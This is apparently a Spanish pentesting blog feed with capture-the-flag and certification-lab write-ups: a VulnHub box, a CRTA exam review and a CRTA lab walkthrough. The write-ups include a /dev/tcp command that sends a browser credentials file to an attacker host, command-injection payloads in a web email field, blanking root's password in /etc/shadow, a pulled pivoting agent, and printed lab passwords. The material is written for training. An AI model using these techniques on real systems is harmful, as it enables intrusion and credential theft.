<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> &lt; logins.json <span class="o">&gt;</span> /dev/tcp/192.168.1.165/443
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260820013935.png" alt="" /></p>

<p>Lo hemos recibido correctamente.</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260820014053.png" alt="" /></p>

<h3 id="correción-error-código-firepwdpy">CORRECIÓN ERROR CÓDIGO: FIREPWD.PY</h3>
<p>Hay veces que ya teniendo los archivos y usamos la herramienta, nos salta este error de abajo, cual nos sale por el tamaño del cifrado…</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260820015945.png" alt="" /></p>

<p>La solución para esto es forzar las claves de 24 bytes a usar <code class="language-plaintext highlighter-rouge">DES3</code> con su tamaño de bloque nativo de 8 bytes, para ello hay que corregir el algoritmo de cifrado y limpiar los bytes de relleno, lo que permite descifrar la clave privada y las contraseñas de <code class="language-plaintext highlighter-rouge">logins.json</code> sin que fallara el parser <code class="language-plaintext highlighter-rouge">ASN.1</code>.</p>

<p>Cambiamos esta parte del código original de la herramienta Firepwd.py:</p>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260820020944.png" alt="" /></p>

<p>Por esto otro:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if </span>len<span class="o">(</span>key<span class="o">)</span> <span class="o">==</span> 24:  <span class="c"># 3DES</span>
    print<span class="o">(</span><span class="s1">'Using 3DES (24-byte key)'</span><span class="o">)</span>
    final_key <span class="o">=</span> key[:24]
    cipher_class <span class="o">=</span> DES3
    block_size <span class="o">=</span> DES3.block_size
<span class="k">elif </span>len<span class="o">(</span>key<span class="o">)</span> <span class="k">in</span> <span class="o">(</span>32, 48<span class="o">)</span>:  <span class="c"># AES</span>
    print<span class="o">(</span><span class="s1">'Using AES-256'</span><span class="o">)</span>
    final_key <span class="o">=</span> key[:32]
    cipher_class <span class="o">=</span> AES
    block_size <span class="o">=</span> AES.block_size
<span class="k">else</span>:
    print<span class="o">(</span>f<span class="s2">"Error: Unexpected key length {len(key)}."</span><span class="o">)</span>
    sys.exit<span class="o">()</span>
</code></pre></div></div>

<h3 id="extracción-de-credenciales-firefox-profile">EXTRACCIÓN DE CREDENCIALES FIREFOX PROFILE</h3>
<p>Una vez cambiado, al ejecutar la herramienta en el directorio donde están los archivos, ya no nos saldrá ningún error y nos descifrara el usuario y la contraseña.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 firepwd.py
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260820021032.png" alt="" /></p>

<p>Como tenemos unas credenciales de root nos convertiremos en el.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Convertirnos en el usuario root</span>
su root

PASS: S8Y389KJqWpJuSwFqFZHwfZ3GnegUa

<span class="c"># Verificar nuestros permisos y grupos a los que pertenecemos</span>
<span class="nb">id</span>

<span class="c"># Verificar el usuario de la sesión actual</span>
<span class="nb">whoami</span>
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260820021124.png" alt="" /></p>

<h3 id="bandera-root">BANDERA ROOT</h3>
<p>Como ya somos root, solo nos queda ir a su directorio y leer la bandera para resolver la bandera.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Ir al directorio de root</span>
<span class="nb">cd</span> /root

<span class="c"># Leer la bandera</span>
<span class="nb">cat </span>flag.txt
</code></pre></div></div>

<p><img src="/assets/images/vlh-writeup-insanity1/Pasted image 20260820021152.png" alt="" /></p>]]></content><author><name>pabloVentx</name></author><category term="VulnHub" /><category term="Pentesting" /><category term="writeup" /><category term="eWPT" /><category term="FTP-Enum" /><category term="HackingWeb" /><category term="Fuzzing" /><category term="VirtualHosting" /><category term="BruteForceOnAuthPanel" /><category term="SquirrelMail-Enum" /><category term="SQLI-SquirrelMail-INBOX" /><category term="EscaladaPrivilegios" /><category term="Credentials-FirefoxProfile" /><summary type="html"><![CDATA[Mediante una enumeración web descubriremos paneles de login, cual mediante fuerza bruta sacaremos la contraseña, y abusaremos mediante la explotación de inyecciones SQL (SQLi) dentro de un correo. Posteriormente, se extraen credenciales del sistema desde una base datos y se descifran archivos de perfil de Firefox (logins.json y key4.db) para escalar privilegios hasta la cuenta de root.]]></summary></entry><entry><title type="html">Mi experiencia con la certificación CRTA</title><link href="https://pabloventx.github.io/rvw-crta/" rel="alternate" type="text/html" title="Mi experiencia con la certificación CRTA" /><published>2026-06-25T00:00:00+00:00</published><updated>2026-06-25T00:00:00+00:00</updated><id>https://pabloventx.github.io/rvw-crta</id><content type="html" xml:base="https://pabloventx.github.io/rvw-crta/"><![CDATA[<p><img src="/assets/images/rvw-crta/cert_crta.png" alt="" /></p>

<h2 id="certificación-crta">CERTIFICACIÓN CRTA</h2>

<h5 id="mi-experiencia-personal">MI EXPERIENCIA PERSONAL</h5>

<p>El día de ayer 25/06/2026 probe a certificarme en otras plataformas como es Cyberwarfare Labs para ver que metodología seguía, etc. Realice el examen de la CRTA (Certified Red Team Analyst) y lo aprobe con las 17 flags (No se si teniendo 12-13 apruebas). Pero no todo es color de rosas…</p>

<p>Si bien las certificaciones de Cyberwafare Labs destacan por su bajo precio (casi regaladas), siendo una buena oportunidad para obtener más conocimientos y ver como te desarrollas frente a un examen. Almenos esta certificación la he visto muy básica en cara el examen… Algunas preguntas las he visto muy rebuscadas o que no llegan a detallar del todo lo que realmente quiere que busques o pongas, llegando a perder tiempo en ello.</p>

<p>La CRTA la recomiendo para quien quiera aprender un poco de AD (Active Directory) ofensivo, a nivel de ataques, que das unos pocos pero muy chulos. No es díficil y la veo más para adquirir conocimientos que para obtener este certificado.</p>

<h5 id="como-es-el-examen">¿COMO ES EL EXAMEN?</h5>
<p>El examen es 100% práctico con 17 flags a completar. Una cosa a destacar es que podías probar las veces que qusieses la respuesta, porque si era incorrecta no la aceptaba pero en caso contrario si. Respecto al tiempo, tienes 6 horas, al principio parecen pocas pero realmente te va a sobrar hasta tiempo. Yo empece a las 15:00 PM y en 1h ya tenía todo comprometido incluyendo el AD. Aprobando sobre las 19:00 tras completar las flags obteniendo la certificación automáticamente.</p>

<p>Lo bueno esque el examen es en tu propia máquina. Te dan una VPN con credenciales y lo único que tienes que hacer es ejecutarla y para dentro.</p>

<p>Como mencione antes, el examen es muy sencillo, se toca PIVOTING porque hay dirección de red interna y si no tienes mucha práctica con esto, puede que se te dificulte, pero en el laboratorio que dan puedes practicarlo.</p>

<h5 id="conclusión-examen-dificíl">CONCLUSIÓN: ¿EXAMEN DIFICÍL?</h5>
<p>Diría incluso que el laboratorio que te dan para practicar (30 días) es mucho más díficl que el examen. Si la certificación te da igual, te recomiendo hacer este laboratorio porque aprendes ataques como <em>Golden Ticket</em>, <em>Cross Forest</em>, etc. Aunque lo recomiendo ya que es una certificación más.</p>

<p>Nos vemos.</p>]]></content><author><name>pabloVentx</name></author><category term="Certificacion" /><category term="Pentesting" /><category term="Examen" /><category term="Reseña" /><category term="CRTA" /><category term="CWL" /><summary type="html"><![CDATA[Hace poco me he sacado la certificación CRTA. En este post explicaré mi punto de vista sobre mi experiencia.]]></summary></entry><entry><title type="html">CRTA - Cyber Warfare Labs</title><link href="https://pabloventx.github.io/writeup-Lab-CRTA/" rel="alternate" type="text/html" title="CRTA - Cyber Warfare Labs" /><published>2026-06-21T00:00:00+00:00</published><updated>2026-06-21T00:00:00+00:00</updated><id>https://pabloventx.github.io/writeup-Lab-CRTA</id><content type="html" xml:base="https://pabloventx.github.io/writeup-Lab-CRTA/"><![CDATA[<h2 id="preparatorios-scope">PREPARATORIOS: SCOPE</h2>

<p>scope de direccionamientos de red a auditar:</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621023549.png" alt="" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># COMPROBAR MI IP DE VPN (arriba derecha sale también)</span>
ip a
-&gt; 10.10.200.163

<span class="c"># COMPROBAR QUE DIRECCIONES DE RED CORREN EN LA VPN</span>
ip route
EXTERNA -&gt; 192.168.80.0/24
INTERNA -&gt; 192.168.98.0/24
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621023656.png" alt="" /></p>

<h2 id="write-up">WRITE UP</h2>
<p>IP VÍCITMA-&gt; 192.168.80.10 (TTL 63) LINUX</p>

<h4 id="reconocimiento">RECONOCIMIENTO</h4>

<p>Lo primero que vamos hacer es crear nuestro entorno de trabajo: <span style="color:lightblue">Lab-CRTA</span></p>

<p>Dentro usaremos la herramienta de s4vitar <em>mkt</em> cual nos generara las carpetas necesarias para tener todo más organizado; <strong>Nmap…</strong></p>

<p>Para empezar el reconocimiento, haremos un reconocimiento con nmap para hacer un barrido de IPs a través de la IP proporcionada, a la dirección de red dentro del scope a nivel red externa:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sn</span> 192.168.80.10 <span class="nt">-oG</span> ips_disponibles.txt
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621024240.png" alt="" /></p>

<p>Ahora conociendo la IP enviaremos una traza ICMP para saber si tenemos conectividad con el target objetivo: (2 formas)</p>

<p>-Usar el script <em>whichSystem</em> que nos dirá directamente el equipo al que estamos atacando, por ende habrá tenido ping para dar la respuesta. Es más silencioso que nmap.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>whichSystem 192.168.80.10
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621024532.png" alt="" /></p>

<p>-Usar <em>ping</em>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ping 192.168.80.10 <span class="nt">-c1</span> <span class="nt">-R</span>
<span class="c"># -R Lo que hace es un record route que consiste que a la hora de hacer la petición se lo envía a un nodo intermediario para que no sea directa la petición, nos muestra el proceso.</span>
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621024633.png" alt="" /></p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621024945.png" alt="" /></p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621025005.png" alt="" /></p>

<p>Después de confirmar que tenemos conectividad, usaremos <strong>nmap</strong> para a ver que puertos tenemos abiertos y que protocolos/servicios tenemos.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p-</span> <span class="nt">--open</span> <span class="nt">-sS</span> <span class="nt">--min-rate</span> 5000 <span class="nt">-Pn</span> <span class="nt">-n</span> <span class="nt">-vvv</span> 192.168.80.10 <span class="nt">-oG</span> allPorts
<span class="c"># Veremos porque el formato grapeable, es importante.</span>
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621030903.png" alt="" /></p>

<p>Una vez hecho, usaremos otra herramienta de s4vitar <em>extractports</em> al archivo allPorts
cual nos copiara los puertos, y escanearlos con nmap.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>extractports.sh allPorts
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621030928.png" alt="" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sVC</span> <span class="nt">-p22</span>,80  192.168.80.10 <span class="nt">-oN</span> targeted
<span class="c">#  El formato -oN lo emplearemos con batcat lenguaje java para verlo mejor</span>
<span class="c">#  Nos mostrará la versión de los servicios que están corriendo</span>
<span class="c">#  Usará scripts defaults definidos en lua</span>
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621031108.png" alt="" /></p>

<p>Una vez escaneado, usaremos batcat:</p>
<blockquote>
  <p>https://github.com/sharkdp/bat.git</p>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>batcat targeted <span class="nt">-l</span> java
<span class="c"># Nos mostrara la salida en un formato más bonito, con java.</span>
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621031143.png" alt="" /></p>

<h3 id="análisis-ssh-reconocimiento">ANÁLISIS SSH: RECONOCIMIENTO</h3>
<p>Como tenemos el puerto de <strong>ssh</strong> abierto con <em>searchsploit</em> vamos a a buscar por la versión del servicio openssh para ver si es vulnerable. Esta versión es muy común y no es vulnerable.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>searchsploit openssh 8.2p1
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621031310.png" alt="" /></p>

<p>Nos centraremos en otras cosas, a ver si más adelante obtenemos alguna credencial válida.</p>

<h3 id="análisis-web-reconocimiento">ANÁLISIS WEB: RECONOCIMIENTO</h3>
<p>Como teníamos un servidor web disponible, uso el script “<code class="language-plaintext highlighter-rouge">http-robots.txt</code>” de <em>nmap</em> para ver si nos detecta algún fichero robots.txt y poder sacar algún tipo de información relevante.</p>

<p>En este caso no nos lo detecta, no quiere decir que no exista.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sV</span> <span class="nt">--script</span> <span class="s2">"http-robots.txt"</span> <span class="nt">-p80</span> 192.168.80.10
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621034947.png" alt="" /></p>

<p>Con <em>whatweb</em> haremos un reconocimiento por consola a nivel web para saber con que tecnologías, lenguaje, etc… vamos a tratar.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>whatweb http://192.168.80.10/
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621031814.png" alt="" /></p>

<p>Aparentemente estamos tratando con E-commerce, es un CMS conocido. Que trata sobre el proceso de comprar y vender productos o servicios a través de Internet.</p>

<p>Vamos a crearnos una cuenta para ver como funciona a nivel web.</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621032008.png" alt="" /></p>

<p>credenciales a nivel usuario estandar -&gt; test:test123</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621032244.png" alt="" /></p>

<p>Vemos una tienda de ropa normal, cual podemos vender o comprar productos relacionados.</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621032350.png" alt="" /></p>

<h3 id="burp-suite-capturar-peticiones">BURP SUITE: CAPTURAR PETICIONES</h3>
<p>Vamos a ponernos a la escucha con <em>Burp Suite</em> que para ello necesitamos activar el Proxy con la extensión <span style="color:lightyellow">FoxyProxy</span> que nos va a permitir capturar peticiones.</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621032723.png" alt="" /></p>

<p>Dentro de burp suite, “Proxy &gt; <em>Intercept on</em>”.</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621032812.png" alt="" /></p>

<h3 id="rce-via-email-field-remote-code-execution">RCE VIA EMAIL FIELD: REMOTE CODE EXECUTION</h3>
<p>Vemos un campo interesante cual nos pide poner nuestro email para recibir una oferta del 10%.
Lo ponemos.</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621033939.png" alt="" /></p>

<p>De forma paralela capturamos automáticamente la petición y la llevamos al <em>Repeater</em> para jugar con la misma.</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621034016.png" alt="" /></p>

<p>Dentro de este, podemos probar las siguientes sintaxis para tener un RCE (Remote Code execution), que va a funcionar exitosamente:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1<span class="o">)</span> <span class="nv">EMAIL</span><span class="o">=</span><span class="nb">test</span>@test.com||id
2<span class="o">)</span> <span class="nv">EMAIL</span><span class="o">=</span><span class="nb">id</span>
</code></pre></div></div>

<p>En la salida un poco más abajo vemos que responde a nivel web, pero también a nivel sistema el comando como <span style="color:blue">www-data</span>.</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621033905.png" alt="" /></p>

<p>Como tenemos un puerto ssh abierto vamos a leer el archivo /etc/passwd y sacar usuarios válidos a nivel sistema.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">EMAIL</span><span class="o">=</span><span class="nb">test</span>@test.com||cat+/etc/passwd
</code></pre></div></div>

<p>Encontramos las siguientes credenciales:</p>

<p><span style="color:blue">john</span>:<span style="color:darkred">Admin@962</span></p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621034233.png" alt="" /></p>

<h3 id="acceso-a-ssh">ACCESO A SSH</h3>
<p>Ahora con estas credenciales vamos a probar a acceder al ssh.</p>

<p>En caso contrario intentaremos leer el archivo id_rsa de algún usuario.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh privilege@192.168.80.10
-&gt; privilege:Admin@962
</code></pre></div></div>

<p>Nos deja.</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621034432.png" alt="" /></p>

<h3 id="tratamiento-tty">TRATAMIENTO TTY</h3>
<p>Mejoramos la shell con el siguiente comando:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">TERM</span><span class="o">=</span>xterm
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621221753.png" alt="" /></p>

<h3 id="escalada-de-privilegios-abuse-sudoers-privilege-all">ESCALADA DE PRIVILEGIOS: ABUSE SUDOERS PRIVILEGE (ALL)</h3>
<p>Abusaremos de nuestros permisos de <em>sudo</em> para escalar privielgios. Si nos fijamos tenemos sudo en todo asi que es muy sencillo convertirnos en <span style="color:blue">root</span>.</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621035705.png" alt="" /></p>

<p>Nos vamos al archivo <span style="color:lightblue">/etc/</span><strong>shadow</strong> donde borraremos el símbolo que haya entre :: y guardaremos cambios. Esto hará que el usuario root no tenga contraseña.</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621035838.png" alt="" /></p>

<p>Ahora nos convertiremos en root y no nos pedirá contraseña.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>su root
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621035936.png" alt="" /></p>

<h3 id="information-lekeage-credentials">INFORMATION LEKEAGE: CREDENTIALS</h3>
<p>En la ruta actual que es el entorno personal de privilege, listando por los archivos ocultos, veremos dos elementos interesantes.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-a</span>
</code></pre></div></div>

<p>Un historial de una base de datos sqlite3 y el directorio del navegador <span style="color:lightblue">.mozilla</span> .</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Lista la tablas y selecciona las columnas de la tabla moz_bookmarks</span>
.tables
SELECT <span class="k">*</span> FROM moz_bookmarks<span class="p">;</span>
.quit
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621223952.png" alt="" /></p>

<p>Seguimos la siguiente ruta:</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621230625.png" alt="" /></p>

<p>Aquí nos quedaremos con la base de datos <span style="color:grey">places.sqlite</span>.</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621230834.png" alt="" /></p>

<p>Usaremos <strong>sqlite3</strong> para usar dicha base de datos.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Lista la tablas y selecciona las columnas de la tabla moz_bookmarks</span>
.tables
SELECT <span class="k">*</span> FROM moz_bookmarks<span class="p">;</span>
.quit
</code></pre></div></div>

<p>Encontraremos las credenciales:</p>

<p><span style="color:blue">john</span>:<span style="color:darkred">User1@#$%6</span></p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621231030.png" alt="" /></p>

<h3 id="pivoting-red-externa-a-red-interna">PIVOTING: RED EXTERNA A RED INTERNA</h3>

<p>Siendo usuarios privilegiados ya podremos realizar el pivoting. Para ello vamos a probar algunas formas para averiguar la dir. red de la red interna:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /var/log/auth.log | <span class="nb">grep</span> <span class="s2">"Accepted"</span>
</code></pre></div></div>

<p>No vemos que equipo de la red interna se ha conectado al ssh.</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621040313.png" alt="" /></p>

<p>La otra forma es listando las interfaces de red que están en esta máquina. Vemos una dir. red nueva que es la 192.168.98.0/24.</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260621040040.png" alt="" /></p>

<h3 id="escanear-ips-activas-red-interna">ESCANEAR IPS ACTIVAS: RED INTERNA</h3>
<p>Nos vamos a nuestro entorno de trabajo: <span style="color:lightblue">/tmp</span> y creamos el siguiente script para hacer un barrido de IPs:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

<span class="k">function </span>ctrl_c<span class="o">(){</span>
    <span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"</span><span class="se">\n\n</span><span class="s2"> Saliendo...</span><span class="se">\n</span><span class="s2">"</span>
    <span class="nb">exit </span>1
<span class="o">}</span>

<span class="nb">trap </span>ctrl_c SIGINT

<span class="k">function </span>scan<span class="o">(){</span>
<span class="k">for </span>i <span class="k">in</span> <span class="o">{</span>1..254<span class="o">}</span><span class="p">;</span> <span class="k">do</span>
    <span class="c"># timeout 1 envía el ping y espera solo 1 segundo la respuesta</span>
    <span class="nb">timeout </span>1 bash <span class="nt">-c</span> <span class="s2">"ping -c1 192.168.98.</span><span class="nv">$i</span><span class="s2">"</span> &amp;&gt;/dev/null <span class="o">&amp;&amp;</span>
    <span class="nb">echo</span> <span class="s2">"[+] 192.168.98.</span><span class="nv">$i</span><span class="s2"> - ACTIVE"</span>
<span class="k">done</span>
<span class="o">}</span>

scan
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622002325.png" alt="" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># IPs ACTIVAS EN LA RED INTERNA</span>
192.168.98.2
192.168.98.30
192.168.98.120
</code></pre></div></div>

<h3 id="requisitos-previos-pivoting-con-ligolo-ng">REQUISITOS PREVIOS: PIVOTING CON LIGOLO-NG</h3>
<p>Usaremos <em>Ligolo-ng</em> para realizar el pivoting, pero antes haremos unos pasos obligatorios:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># CREAR NUEVA INTERFAZ DE RED LLAMADA: "Ligolo"</span>
<span class="nb">sudo </span>ip tuntap add user <span class="nv">$USER</span> mode tun ligolo

<span class="c"># ENCENDER INTERFAZ DE RED: "Ligolo"</span>
<span class="nb">sudo </span>ip <span class="nb">link set </span>ligolo up
comprobación: ip a
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622002729.png" alt="" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># ELIMINAR TRÁFICO DE UNA DIR. RED DE LA VPN</span>
<span class="o">[</span>En caso de usar VPN y que vaya por ahi el trafico, borrar el trafico interno]
<span class="nb">sudo </span>ip route del 192.168.98.0/24 dev tun0
comprobación: ip route
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622002909.png" alt="" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># REDIRIGIR TRÁFICO DE LA DIR. RED INTERNA a pivotar A LA INTERFAZ "Ligolo"</span>
<span class="nb">sudo </span>ip route add 192.168.98.0/24 dev ligolo
comprobación: ip route
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622003002.png" alt="" /></p>

<h3 id="configuración-ligolo-proxy-y-agent">CONFIGURACIÓN LIGOLO: PROXY y AGENT</h3>
<p>Ahora usaremos los binarios: <span style="color:lime">proxy</span> y <span style="color:lime">agent</span>.</p>

<p>Ambos con permisos de ejecución <code class="language-plaintext highlighter-rouge">chmod +x ...</code>.</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622003129.png]" alt="" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># EJECUTAR LIGOLO EN MÁQUINA ATACANTE</span>
<span class="o">[</span>Ligolo muestra: 0.0.0.0:11601]
<span class="nb">sudo</span> ./proxy <span class="nt">-selfcert</span>
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622003108.png" alt="" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># EJECUAR AGENT EN MÁQUINA VÍCTIMA</span>
<span class="o">[</span>Pasarlo a máquina víctitima por servidor http]
python3 <span class="nt">-m</span> http.server 80
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622003448.png" alt="" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># COMPROBAR BINARIO wget ESTA DISPONIBLE</span>
which wget

<span class="c"># DESCARGARNOS AGENT EN MAQUINA OBJETIVO</span>
wget http://10.10.200.163/agent
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622003238.png" alt="" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># DAR PERMISOS DE EJECUCIÓN</span>
<span class="nb">chmod</span> +x agent

<span class="c"># EJECUTAR AGENT Y ESTABLECER CONEXIÓN CON EL PROXY</span>
./agent <span class="nt">-connect</span> 10.10.200.163:11601 <span class="nt">-ignore-cert</span>
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622003424.png" alt="" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># SELECCIONAR SESION</span>
session <span class="o">&gt;</span> enter

<span class="c"># EMPEZAR COMUNICACIÓN</span>
start
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622003607.png" alt="" /></p>

<h3 id="reconocimiento-red-interna-conectividad">RECONOCIMIENTO RED INTERNA: CONECTIVIDAD</h3>
<p>Para comprobar que tenemos conectividad y que tenemos bien configurado Ligolo-ng, enviaremos una traza ICMP mediante ping a las IPs previamente escaneadas.</p>

<p>Tendremos conectividad, y saldrá que es TTL 64. Es decir Linux, pero porque pasa por el sistema cual esta alojando el ssh. Debido a que hace de puente.</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622003759.png" alt="" /></p>

<h3 id="reconocimiento-red-interna-escaneos-puertos-tcp---nmap">RECONOCIMIENTO RED INTERNA: ESCANEOS PUERTOS TCP - NMAP</h3>
<p>Como quiero seguir una metodología específica y no perder tiempo en cara al examen.</p>

<p>Lo primero es crearnos un fichero con todas las IPs a nivel de red interna.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>192.168.98.2
192.168.98.30
192.168.98.120
</code></pre></div></div>

<p>Podremos realizar este escaneo de nmap:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p-</span> <span class="nt">--open</span> <span class="nt">--min-rate</span> 5000 <span class="nt">-Pn</span> <span class="nt">-n</span> <span class="nt">-vvv</span> <span class="nt">-iL</span> ips_interna.txt <span class="nt">-oN</span> internal_tcp
</code></pre></div></div>

<blockquote>
  <p>Metodología en esta cert. -&gt; solo el primer escaneo suficiente.</p>
</blockquote>

<blockquote>
  <p>No hace falta diferente IP objetivo por separado, ya que perderíamos tiempo y realmente no es relevante.</p>
</blockquote>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622004933.png" alt="" /></p>

<h3 id="análisis-smb-reconocimiento">ANÁLISIS SMB: RECONOCIMIENTO</h3>
<p>A simple vista parece una relación de confianza y que hay uno o dos DC, y un equipo normal.</p>

<p>La IP 192.168.98.2,120 tienen kerberos (puerto 88) y la 192.168.98.30 no.</p>

<p>En el escaneo de nmap tiene todos las IPs el puerto 445 abierto.</p>

<h3 id="válidar-credenciales">VÁLIDAR CREDENCIALES</h3>
<p>Usamos <em>netexec</em> para hacer un reconocimiento y validar las credenciales que encontramos al principio en el ssh.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nxc smb ips_interna.txt <span class="nt">-u</span> <span class="s2">"john"</span> <span class="nt">-p</span> <span class="s2">"User1@#</span><span class="nv">$%</span><span class="s2">6"</span>
</code></pre></div></div>

<p>De primeras vemos la siguiente información:</p>

<p>192.168.98.2 -&gt; DC01 (Parent)</p>

<p>192.168.98.120 -&gt; CDC (Child)-&gt; Credenciales válidas sin privilegios</p>

<p>192.168.98.30 -&gt; MGMT -&gt; Credenciales Válidas con privilegios -&gt; <span style="color:gold">(Pwn3d!)</span></p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622005956.png" alt="" /></p>

<h3 id="enumeración-usuarios-dominio">ENUMERACIÓN USUARIOS DOMINIO</h3>
<p>Seguidamente vamos a hacer una enumeración de usuarios para tener en mente por donde tirar.</p>

